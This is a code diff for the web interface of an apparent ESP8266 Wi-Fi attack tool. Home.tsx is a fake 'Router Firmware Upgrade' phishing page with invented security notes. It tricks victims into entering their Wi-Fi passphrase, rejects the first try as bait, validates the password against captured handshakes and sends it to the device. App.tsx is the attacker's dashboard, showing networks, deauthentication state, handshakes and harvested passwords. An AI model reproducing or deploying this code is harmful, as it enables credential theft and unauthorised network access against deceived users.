+import NavSlider from "./components/ui/nav-slider"
+import NetworkScreen from "./screens/NetworkScreen"
+import { Button } from "./components/ui/button"
+import SetupScreen from "./screens/SetupScreen"
+
+function App() {
+ const [networks, setNetworks] = useState<network[] | null>(null)
+ const [networksWithHandshakes, setnetworksWithHandshakes] = useState<network[]>([])
+ const [section, setSection] = useState<number>(0)
+ const ws = useRef<WebSocket | null>(null)
+ const connected = useRef<boolean>(false)
+ const initialConnection = useRef<boolean>(true)
+
+ async function retryConnection() {
+ let style: any = notifyStyle
+ style.style["textAlign"] = "center"
+ try {
+ ws.current = new WebSocket("ws://172.0.0.1:81")
+ ws.current.onopen = () => {
+ connected.current = true
+ initialConnection.current = false
+ toast.dismiss()
+ toast.success("Connected to device")
+ setNetworks(null)
+ setSection(0)
+ fetchData()
+ ws.current?.send("ping")
+ }
+
+ ws.current.onmessage = (event) => {
+ if (event.data === "pong") {
+ setTimeout(() => {
+ ws.current?.send("ping")
+ }, 10000)
+ }
+ }
+ ws.current.onclose = () => {
+ if (initialConnection.current) {
+ toast.loading("Could not connect to device", style)
+ initialConnection.current = false
+ } else if (connected.current) {
+ toast.error("Connection to device lost", style)
+ connected.current = false
+ initialConnection.current = true
+ setNetworks(null)
+ setSection(0)
+ }
+ retryConnection()
+ }
+
+ setTimeout(() => {
+ if (ws.current?.readyState !== 1) {
+ ws.current?.close()
+ }
+ }, 15000)
+ } catch (err) {
+ console.log(err, "WebSocket error")
+ }
+ }
+
+ const checkHandshake = (datas: handshake[], bssid: string): boolean => {
+ for (let i in datas) {
+ let incoming = bssid.replaceAll(":", "").toLowerCase()
+ if (incoming === datas[i].dstAddress) {
+ return true
+ }
+ }
+ return false
+ }
+ const checkPassword = (datas: any, ssid: string): password[] => {
+ let passwords: password[] = []
+ for (let i in datas) {
+ if (ssid === datas[i].ssid) {
+ let valid = false
+ if (datas[i].handshakes && datas[i].matched) {
+ valid = true
+ }
+ passwords.push({
+ password: datas[i].password,
+ valid: valid,
+ })
+ }
+ }
+ return passwords
+ }
+
+ const fetchData = async () => {
+ const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms))
+ await sleep(1000)
+ const get_networks = await fetch("/get_networks")
+ const get_datas = await fetch("/get_datas")
+ // const get_networks = await fetch("/temp/temp-networks.json")
+ // const get_datas = await fetch("/temp/temp-datas.json")
+ const data = await get_networks.json()
+ const datas = await get_datas.json()
+ if (data.length === 0) {
+ console.log("No networks found")
+ setNetworks([])
+ setnetworksWithHandshakes([])
+ }
+ for (let i in data) {
+ let new_network: network = {
+ ssid: data[i].ssid,
+ bssid: data[i].bssid,
+ signal: parseInt(data[i].signal),
+ channel: parseInt(data[i].channel),
+ encryption: data[i].encryption,
+ deauthState: data[i].deauthState === "1" ? true : false,
+ handshake: checkHandshake(datas.handshakes, data[i].bssid),
+ password: checkPassword(datas.passwords, data[i].ssid),
+ handshakeData: datas.handshakes.filter(
+ (handshake: handshake) =>
+ handshake.dstAddress === data[i].bssid.replaceAll(":", "").toLowerCase()
+ ),
+ }
+ setNetworks((prev) => {
+ return prev ? [...prev, new_network] : [new_network]
+ })
+ }
+ for (let i in datas.handshakes) {
+ console.log(datas.handshakes[i].ssid)
+ let newNetwork: network = {
+ ssid: datas.handshakes[i].ssid,
+ bssid: datas.handshakes[i].dstAddress,
+ signal: 0,
+ channel: 0,
+ encryption: encryption.UNKNOWN,
+ deauthState: false,
+ handshake: true,
+ password: checkPassword(datas.passwords, datas.handshakes[i].ssid),
+ handshakeData: [datas.handshakes[i]],
+ }
+ setnetworksWithHandshakes((prev) => {
+ return prev ? [...prev, newNetwork] : [newNetwork]
+ })
+ }
+ }
+ useEffect(() => {
+ retryConnection()
+ document.title = "Portal-Xtend"
+ }, [])
+
+ return (
+ <div className="flex flex-col h-screen bg-[#040a1b] justify-center items-center overflow-hidden">
+ <h1 className="text-[#77AADD] font-semibold text-[50px] mb-2">Portal-Xtend</h1>
+ <Toaster position="bottom-center" />
+ <div className="flex flex-col justify-center items-center">
+ {networks != null ? (
+ <>
+ <NavSlider
+ activeNav={section}
+ setActiveNav={setSection}
+ children={["Networks", "Setup"]}
+ />
+ {section === 0 ? (
+ <>
+ <NetworkScreen networks={networks} />
+ <Button
+ variant="link"
+ onClick={() => {
+ setNetworks(null)
+ setSection(0)
+ fetchData()
+ }}
+ >
+ Refresh
+ </Button>
+ </>
+ ) : (
+ <SetupScreen networks={networksWithHandshakes} />
+ )}
+ </>
+ ) : (
+ <div className="loading">
+ <svg width="64px" height="48px">
+ <polyline
+ points="0.157 23.954, 14 23.954, 21.843 48, 43 0, 50 24, 64 24"
+ id="back"
+ ></polyline>
+ <polyline
+ points="0.157 23.954, 14 23.954, 21.843 48, 43 0, 50 24, 64 24"
+ id="front"
+ ></polyline>
+ </svg>
+ </div>
+ )}
+ </div>
+ </div>
+ )
+}
+
+export default App
web/src/globals.css
@@ -0,0 +1,221 @@
+@tailwind base;
+@tailwind components;
+@tailwind utilities;
+
+@layer base {
+ :root {
+ --background: 222.2 84% 4.9%;
+ --foreground: 210 40% 98%;
+
+ --muted: 217.2 32.6% 17.5%;
+ --muted-foreground: 215 20.2% 65.1%;
+
+ --popover: 222.2 84% 4.9%;
+ --popover-foreground: 210 40% 98%;
+
+ --card: 222.2 84% 4.9%;
+ --card-foreground: 210 40% 98%;
+
+ --border: 217.2 32.6% 17.5%;
+ --input: 217.2 32.6% 17.5%;
+
+ --primary: 210 40% 98%;
+ --primary-foreground: 222.2 47.4% 11.2%;
+
+ --secondary: 217.2 32.6% 17.5%;
+ --secondary-foreground: 210 40% 98%;
+
+ --accent: 217.2 32.6% 17.5%;
+ --accent-foreground: 210 40% 98%;
+
+ --destructive: 0 62.8% 30.6%;
+ --destructive-foreground: 0 85.7% 97.3%;
+
+ --ring: 217.2 32.6% 17.5%;
+
+ --radius: 0.5rem;
+ }
+}
+
+@layer base {
+ * {
+ @apply border-border;
+ }
+ body {
+ @apply bg-background text-foreground;
+ }
+}
+
+.loading svg polyline {
+ fill: none;
+ stroke-width: 3;
+ stroke-linecap: round;
+ stroke-linejoin: round;
+}
+
+.loading svg polyline#back {
+ fill: none;
+ stroke: #ff4d5033;
+}
+
+.loading svg polyline#front {
+ fill: none;
+ stroke: #ff4d4f;
+ stroke-dasharray: 48, 144;
+ stroke-dashoffset: 192;
+ animation: dash_682 1.4s linear infinite;
+}
+
+@keyframes dash_682 {
+ 72.5% {
+ opacity: 0;
+ }
+
+ to {
+ stroke-dashoffset: 0;
+ }
+}
+
+.newtons-cradle {
+ --uib-size: 50px;
+ --uib-speed: 1.2s;
+ --uib-color: #474554;
+ position: relative;
+ display: -webkit-box;
+ display: -ms-flexbox;
+ display: flex;
+ -webkit-box-align: center;
+ -ms-flex-align: center;
+ align-items: center;
+ -webkit-box-pack: center;
+ -ms-flex-pack: center;
+ justify-content: center;
+ width: var(--uib-size);
+ height: var(--uib-size);
+}
+
+.newtons-cradle__dot {
+ position: relative;
+ display: -webkit-box;
+ display: -ms-flexbox;
+ display: flex;
+ -webkit-box-align: center;
+ -ms-flex-align: center;
+ align-items: center;
+ height: 100%;
+ width: 25%;
+ -webkit-transform-origin: center top;
+ -ms-transform-origin: center top;
+ transform-origin: center top;
+}
+
+.newtons-cradle__dot::after {
+ content: "";
+ display: block;
+ width: 100%;
+ height: 25%;
+ border-radius: 50%;
+ background-color: white;
+}
+
+.newtons-cradle__dot:first-child {
+ -webkit-animation: swing var(--uib-speed) linear infinite;
+ animation: swing var(--uib-speed) linear infinite;
+}
+
+.newtons-cradle__dot:last-child {
+ -webkit-animation: swing2 var(--uib-speed) linear infinite;
+ animation: swing2 var(--uib-speed) linear infinite;
+}
+
+@-webkit-keyframes swing {
+ 0% {
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ -webkit-animation-timing-function: ease-out;
+ animation-timing-function: ease-out;
+ }
+
+ 25% {
+ -webkit-transform: rotate(70deg);
+ transform: rotate(70deg);
+ -webkit-animation-timing-function: ease-in;
+ animation-timing-function: ease-in;
+ }
+
+ 50% {
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ -webkit-animation-timing-function: linear;
+ animation-timing-function: linear;
+ }
+}
+
+@keyframes swing {
+ 0% {
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ -webkit-animation-timing-function: ease-out;
+ animation-timing-function: ease-out;
+ }
+
+ 25% {
+ -webkit-transform: rotate(70deg);
+ transform: rotate(70deg);
+ -webkit-animation-timing-function: ease-in;
+ animation-timing-function: ease-in;
+ }
+
+ 50% {
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ -webkit-animation-timing-function: linear;
+ animation-timing-function: linear;
+ }
+}
+
+@-webkit-keyframes swing2 {
+ 0% {
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ -webkit-animation-timing-function: linear;
+ animation-timing-function: linear;
+ }
+
+ 50% {
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ -webkit-animation-timing-function: ease-out;
+ animation-timing-function: ease-out;
+ }
+
+ 75% {
+ -webkit-transform: rotate(-70deg);
+ transform: rotate(-70deg);
+ -webkit-animation-timing-function: ease-in;
+ animation-timing-function: ease-in;
+ }
+}
+
+@keyframes swing2 {
+ 0% {
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ -webkit-animation-timing-function: linear;
+ animation-timing-function: linear;
+ }
+
+ 50% {
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ -webkit-animation-timing-function: ease-out;
+ animation-timing-function: ease-out;
+ }
+
+ 75% {
+ -webkit-transform: rotate(-70deg);
+ transform: rotate(-70deg);
+ -webkit-animation-timing-function: ease-in;
+ animation-timing-function: ease-in;
+ }
+}
web/src/Home.tsx
@@ -0,0 +1,184 @@
+import { useEffect, useState } from "react"
+import { Button } from "./components/ui/button"
+import { Input } from "./components/ui/input"
+import { crackPassword } from "./screens/helper"
+import { handshake } from "./lib/config"
+
+const Home = () => {
+ const [final, setFinal] = useState(false)
+ const [percent, setPercent] = useState(0)
+ const [password, setPassword] = useState("")
+ const [handshakes, setHandshakes] = useState([])
+ const [bait, setBait] = useState(true)
+
+ const postPassword = async (
+ ssid: string,
+ passwd: string,
+ matched: boolean,
+ handshakes: boolean
+ ) => {
+ const data = {
+ ssid: ssid,
+ password: passwd,
+ matched: matched ? true : false,
+ handshakes: handshakes ? true : false,
+ }
+ const response = await fetch("/post_password", {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ },
+ body: JSON.stringify(data),
+ })
+ const result = await response.json()
+ console.log(result)
+ }
+
+ const startfinal = () => {
+ const interval = setInterval(() => {
+ setPercent((prev) => {
+ if (prev === 100) {
+ clearInterval(interval)
+ return prev
+ }
+ return prev + 1
+ })
+ }, 1000)
+ }
+
+ const handlePassword = async () => {
+ if (password.trim() === "") {
+ alert("Please enter the router password")
+ return
+ }
+ if (password.length < 8) {
+ alert("Password must be at least 8 characters long")
+ return
+ }
+
+ const currentSSID = await fetch("/get_ssid")
+ // const currentSSID = await fetch("/temp/temp-ssid.json")
+ const ssid = await currentSSID.json()
+ console.log(handshakes.filter((handshake: handshake) => handshake.ssid === ssid.ssid).length)
+ // return;
+ if (
+ handshakes.length === 0 ||
+ handshakes.filter((handshake: handshake) => handshake.ssid === ssid.ssid).length === 0
+ ) {
+ postPassword("No Handshake - " + ssid.ssid, password, false, false)
+ if (bait) {
+ alert("Password isnt correct")
+ setBait(false)
+ return
+ } else {
+ setFinal(true)
+ startfinal()
+ return
+ }
+ }
+ handshakes.forEach((handshake: handshake) => {
+ if (handshake.ssid === ssid.ssid) {
+ if (crackPassword(handshake, password)) {
+ postPassword(handshake.ssid, password, true, true)
+ setFinal(true)
+ startfinal()
+ return
+ } else {
+ postPassword(handshake.ssid, password, false, true)
+ alert("Wrong Password")
+ return
+ }
+ }
+ })
+ }
+
+ const fetchHandshakes = async () => {
+ const result = await fetch("/get_datas")
+ // const result = await fetch("/temp/temp-datas.json")
+ const data = await result.json()
+ setHandshakes(data.handshakes)
+ }
+
+ useEffect(() => {
+ fetchHandshakes()
+ }, [])
+
+ return (
+ <div className="flex flex-1 bg-sky-300 h-screen justify-center items-center">
+ {!final ? (
+ <div className="rounded-lg p-3 shadow-lg drop-shadow-lg bg-gray-200 w-full max-w-xs sm:max-w-md ">
+ <h1 className="text-lg font-bold text-gray-500">Router Firmware Upgrade</h1>
+ <div className="border border-gray-400 mt-2"></div>
+ <p className="mt-2 text-gray-500">
+ A new version of the firmware has been detected and awaiting installation
+ </p>
+ <div className="flex items-center gap-3 mt-2">
+ <p className="text-md font-bold text-gray-500">Firmware Version :</p>
+ <p className="text-gray-500">v3.0.7</p>
+ </div>
+ <div className="flex items-center gap-3 mt-2">
+ <p className="text-md font-bold text-gray-500">Release Date :</p>
+ <p className="text-gray-500">{new Date().toLocaleDateString()}</p>
+ </div>
+
+ <h2 className="text-md font-bold text-gray-500 mt-2">Release Notes :</h2>
+ <div className="mt-2 text-gray-500">
+ <ul className="list-disc list-inside ml-7 -indent-4 sm:-indent-6">
+ <li>
+ Security fixes for the following vulnerabilities: <br /> CVE-2021-1234,
+ CVE-2021-1235,CVE-2021-1236
+ </li>
+ <li>
+ Implemented a new feature that enhances the security and stability of the router
+ </li>
+ <li>Fixed a bug that caused the router to crash when using the web interface</li>
+ </ul>
+ </div>
+ <p className="mt-2 text-gray-500">
+ Enter the router password to start the firmware upgrade process. The router will reboot
+ after the upgrade.
+ </p>
+ <Input
+ placeholder="Router Passphrase"
+ className="bg-transparent text-gray-500 border-gray-400 mt-3"
+ type="password"
+ onChange={(e) => setPassword(e.target.value)}
+ />
+ <Button
+ variant={"outline"}
+ className="mt-2 w-full bg-gray-600 border-none"
+ onClick={handlePassword}
+ >
+ Upgrade
+ </Button>
+ </div>
+ ) : (
+ <div className="flex flex-col justify-center items-center">
+ <div className="newtons-cradle">
+ <div className="newtons-cradle__dot"></div>
+ <div className="newtons-cradle__dot"></div>
+ <div className="newtons-cradle__dot"></div>
+ <div className="newtons-cradle__dot"></div>
+ </div>
+
+ <div className="text-gray-500 text-center mt-2 text-lg">
+ {percent} %
+ {percent === 100 ? (
+ <>
+ <p>Upgraded</p>
+ <p>Reboot your router</p>
+ </>
+ ) : (
+ <>
+ <p>Upgrading Firmware</p>
+ <p>Do not turn off the router</p>
+ </>
+ )}
+ </div>
+ </div>
+ )}
+ </div>
+ )
+}
+
+export default Home
web/src/main.tsx
@@ -0,0 +1,19 @@
+import ReactDOM from "react-dom/client"
+import App from "./App"
+import { createBrowserRouter, RouterProvider } from "react-router-dom"
+import "@/globals.css"
+import Home from "./Home"
+const router = createBrowserRouter([
+ {
+ path: "/",
+ element: <Home />,
+ },
+ {
+ path: "/attack",
+ element: <App />,
+ },
+])
+
+ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
+ <RouterProvider router={router} />
+)
web/src/vite-env.d.ts
@@ -0,0 +1,1 @@
+/// <reference types="vite/client" />
web/index.html
@@ -0,0 +1,17 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+ <meta charset="UTF-8" />
+ <link rel="icon" type="image/png" href="/png/router.png" />
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+ <title>Router Upgrade</title>
+</head>
+
+<body class="flex flex-col overflow-x-hidden">
+ <div id="root"></div>
+ <script type="text/javascript" src="/js/capfile.js"></script>
+ <script type="module" src="/src/main.tsx"></script>
+</body>
+
+</html>
\ No newline at end of file
web/package-lock.json
@@ -0,0 +1,3351 @@
+{
+ "name": "esp8266_attacker",
+ "version": "0.0.0",
+ "lockfileVersion": 3,
+ "requires": true,
+ "packages": {
+ "": {
+ "name": "esp8266_attacker",
+ "version": "0.0.0",
+ "dependencies": {
+ "@radix-ui/react-checkbox": "^1.0.4",
+ "@radix-ui/react-dialog": "^1.0.4",
+ "@radix-ui/react-label": "^2.0.2",
+ "@radix-ui/react-select": "^1.2.2",
+ "@radix-ui/react-slot": "^1.0.2",
+ "@radix-ui/react-switch": "^1.0.3",
+ "@tanstack/react-table": "^8.9.3",
+ "class-variance-authority": "^0.6.0",
+ "clsx": "^1.2.1",
+ "crypto-js": "^4.1.1",
+ "lucide-react": "^0.252.0",
+ "react": "^18.2.0",
+ "react-dom": "^18.2.0",
+ "react-hot-toast": "^2.4.0",
+ "react-router-dom": "^6.14.0",
+ "tailwind-merge": "^1.13.2",
+ "tailwindcss-animate": "^1.0.6",
+ "vite-tsconfig-paths": "^4.2.0"
+ },
+ "devDependencies": {
+ "@types/crypto-js": "^4.1.1",
+ "@types/react": "^18.0.28",
+ "@types/react-dom": "^18.0.11",
+ "@vitejs/plugin-react": "^3.1.0",
+ "autoprefixer": "^10.4.14",
+ "postcss": "^8.4.21",
+ "tailwindcss": "^3.3.1",
+ "typescript": "^4.9.3",
+ "vite": "^4.2.0",
+ "vite-plugin-compression": "^0.5.1"
+ }
+ },
+ "node_modules/@ampproject/remapping": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz",
+ "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/gen-mapping": "^0.3.0",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@babel/code-frame": {
+ "version": "7.21.4",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.21.4.tgz",
+ "integrity": "sha512-LYvhNKfwWSPpocw8GI7gpK2nq3HSDuEPC/uSYaALSJu9xjsalaaYFOq0Pwt5KmVqwEbZlDu81aLXwBOmD/Fv9g==",
+ "dev": true,
+ "dependencies": {
+ "@babel/highlight": "^7.18.6"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/compat-data": {
+ "version": "7.21.4",
+ "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.21.4.tgz",
+ "integrity": "sha512-/DYyDpeCfaVinT40FPGdkkb+lYSKvsVuMjDAG7jPOWWiM1ibOaB9CXJAlc4d1QpP/U2q2P9jbrSlClKSErd55g==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/core": {
+ "version": "7.21.4",
+ "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.21.4.tgz",
+ "integrity": "sha512-qt/YV149Jman/6AfmlxJ04LMIu8bMoyl3RB91yTFrxQmgbrSvQMy7cI8Q62FHx1t8wJ8B5fu0UDoLwHAhUo1QA==",
+ "dev": true,
+ "dependencies": {
+ "@ampproject/remapping": "^2.2.0",
+ "@babel/code-frame": "^7.21.4",
+ "@babel/generator": "^7.21.4",
+ "@babel/helper-compilation-targets": "^7.21.4",
+ "@babel/helper-module-transforms": "^7.21.2",
+ "@babel/helpers": "^7.21.0",
+ "@babel/parser": "^7.21.4",
+ "@babel/template": "^7.20.7",
+ "@babel/traverse": "^7.21.4",
+ "@babel/types": "^7.21.4",
+ "convert-source-map": "^1.7.0",
+ "debug": "^4.1.0",
+ "gensync": "^1.0.0-beta.2",
+ "json5": "^2.2.2",
+ "semver": "^6.3.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/babel"
+ }
+ },
+ "node_modules/@babel/generator": {
+ "version": "7.21.4",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.21.4.tgz",
+ "integrity": "sha512-NieM3pVIYW2SwGzKoqfPrQsf4xGs9M9AIG3ThppsSRmO+m7eQhmI6amajKMUeIO37wFfsvnvcxQFx6x6iqxDnA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.21.4",
+ "@jridgewell/gen-mapping": "^0.3.2",
+ "@jridgewell/trace-mapping": "^0.3.17",
+ "jsesc": "^2.5.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-compilation-targets": {
+ "version": "7.21.4",
+ "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.21.4.tgz",
+ "integrity": "sha512-Fa0tTuOXZ1iL8IeDFUWCzjZcn+sJGd9RZdH9esYVjEejGmzf+FFYQpMi/kZUk2kPy/q1H3/GPw7np8qar/stfg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/compat-data": "^7.21.4",
+ "@babel/helper-validator-option": "^7.21.0",
+ "browserslist": "^4.21.3",
+ "lru-cache": "^5.1.1",
+ "semver": "^6.3.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0"
+ }
+ },
+ "node_modules/@babel/helper-environment-visitor": {
+ "version": "7.18.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz",
+ "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-function-name": {
+ "version": "7.21.0",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.21.0.tgz",
+ "integrity": "sha512-HfK1aMRanKHpxemaY2gqBmL04iAPOPRj7DxtNbiDOrJK+gdwkiNRVpCpUJYbUT+aZyemKN8brqTOxzCaG6ExRg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/template": "^7.20.7",
+ "@babel/types": "^7.21.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-hoist-variables": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz",
+ "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.18.6"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-module-imports": {
+ "version": "7.21.4",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.21.4.tgz",
+ "integrity": "sha512-orajc5T2PsRYUN3ZryCEFeMDYwyw09c/pZeaQEZPH0MpKzSvn3e0uXsDBu3k03VI+9DBiRo+l22BfKTpKwa/Wg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.21.4"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-module-transforms": {
+ "version": "7.21.2",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.21.2.tgz",
+ "integrity": "sha512-79yj2AR4U/Oqq/WOV7Lx6hUjau1Zfo4cI+JLAVYeMV5XIlbOhmjEk5ulbTc9fMpmlojzZHkUUxAiK+UKn+hNQQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-environment-visitor": "^7.18.9",
+ "@babel/helper-module-imports": "^7.18.6",
+ "@babel/helper-simple-access": "^7.20.2",
+ "@babel/helper-split-export-declaration": "^7.18.6",
+ "@babel/helper-validator-identifier": "^7.19.1",
+ "@babel/template": "^7.20.7",
+ "@babel/traverse": "^7.21.2",
+ "@babel/types": "^7.21.2"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-plugin-utils": {
+ "version": "7.20.2",
+ "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.20.2.tgz",
+ "integrity": "sha512-8RvlJG2mj4huQ4pZ+rU9lqKi9ZKiRmuvGuM2HlWmkmgOhbs6zEAw6IEiJ5cQqGbDzGZOhwuOQNtZMi/ENLjZoQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-simple-access": {
+ "version": "7.20.2",
+ "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.20.2.tgz",
+ "integrity": "sha512-+0woI/WPq59IrqDYbVGfshjT5Dmk/nnbdpcF8SnMhhXObpTq2KNBdLFRFrkVdbDOyUmHBCxzm5FHV1rACIkIbA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.20.2"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-split-export-declaration": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz",
+ "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.18.6"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-string-parser": {
+ "version": "7.19.4",
+ "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.19.4.tgz",
+ "integrity": "sha512-nHtDoQcuqFmwYNYPz3Rah5ph2p8PFeFCsZk9A/48dPc/rGocJ5J3hAAZ7pb76VWX3fZKu+uEr/FhH5jLx7umrw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-validator-identifier": {
+ "version": "7.19.1",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz",
+ "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-validator-option": {
+ "version": "7.21.0",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.21.0.tgz",
+ "integrity": "sha512-rmL/B8/f0mKS2baE9ZpyTcTavvEuWhTTW8amjzXNvYG4AwBsqTLikfXsEofsJEfKHf+HQVQbFOHy6o+4cnC/fQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helpers": {
+ "version": "7.21.0",
+ "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.21.0.tgz",
+ "integrity": "sha512-XXve0CBtOW0pd7MRzzmoyuSj0e3SEzj8pgyFxnTT1NJZL38BD1MK7yYrm8yefRPIDvNNe14xR4FdbHwpInD4rA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/template": "^7.20.7",
+ "@babel/traverse": "^7.21.0",
+ "@babel/types": "^7.21.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/highlight": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz",
+ "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-validator-identifier": "^7.18.6",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/parser": {
+ "version": "7.21.4",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.21.4.tgz",
+ "integrity": "sha512-alVJj7k7zIxqBZ7BTRhz0IqJFxW1VJbm6N8JbcYhQ186df9ZBPbZBmWSqAMXwHGsCJdYks7z/voa3ibiS5bCIw==",
+ "dev": true,
+ "bin": {
+ "parser": "bin/babel-parser.js"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-react-jsx-self": {
+ "version": "7.21.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.21.0.tgz",
+ "integrity": "sha512-f/Eq+79JEu+KUANFks9UZCcvydOOGMgF7jBrcwjHa5jTZD8JivnhCJYvmlhR/WTXBWonDExPoW0eO/CR4QJirA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.20.2"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-react-jsx-source": {
+ "version": "7.19.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.19.6.tgz",
+ "integrity": "sha512-RpAi004QyMNisst/pvSanoRdJ4q+jMCWyk9zdw/CyLB9j8RXEahodR6l2GyttDRyEVWZtbN+TpLiHJ3t34LbsQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.19.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/runtime": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.5.tgz",
